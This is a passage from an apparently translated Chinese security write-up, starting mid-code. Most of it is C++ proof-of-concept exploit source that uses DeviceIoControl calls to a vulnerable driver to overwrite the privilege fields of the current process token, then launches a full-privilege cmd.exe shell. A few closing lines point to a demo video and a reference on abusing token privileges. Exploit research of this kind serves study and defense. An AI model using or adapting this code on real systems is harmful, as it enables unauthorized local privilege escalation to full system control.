0; /* dt nt!_SEP_TOKEN_PRIVILEGES +0x000 Present : Uint8B +0x008 Enabled : Uint8B +0x010 EnabledByDefault : Uint8B We've added +1 to the offsets to ensure that the low bytes part are 0xff. */ // overwrite the _SEP_TOKEN_PRIVILEGES "Present" field in the current process token Exploit exploit = { 8, 0, &field2, (void *)(tokenAddress + 0x41)}; // overwrite the _SEP_TOKEN_PRIVILEGES "Enabled" field in the current process token Exploit exploit2 = { 8, 0, &field2, (void *)(tokenAddress + 0x49)}; // overwrite the _SEP_TOKEN_PRIVILEGES "EnabledByDefault" field in the current process token Exploit exploit3 = { 8, 0, &field2, (void *)(tokenAddress + 0x51)}; DWORD bytesReturned = 0; success = DeviceIoControl( device, IOCTL_CODE, &exploit, sizeof(exploit), nullptr, 0, &bytesReturned, nullptr); if (!success) { std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Successfully overwritten current token 'Present' field!\n"; success = DeviceIoControl( device, IOCTL_CODE, &exploit2, sizeof(exploit2), nullptr, 0, &bytesReturned, nullptr); if (!success) { std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n"; success = DeviceIoControl( device, IOCTL_CODE, &exploit3, sizeof(exploit3), nullptr, 0, &bytesReturned, nullptr); if (!success) { std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n"; std::cout << "[+] Token privileges successfully overwritten!\n"; std::cout << "[+] Spawning a new shell with full privileges!\n"; system("cmd.exe"); return 0; }
PoC演示视频
关于本文相关的PoC的演示视频,请参见原文。
相关资源与参考资料:
· Abusing Token Privileges for LPE
还没有评论,来说两句吧...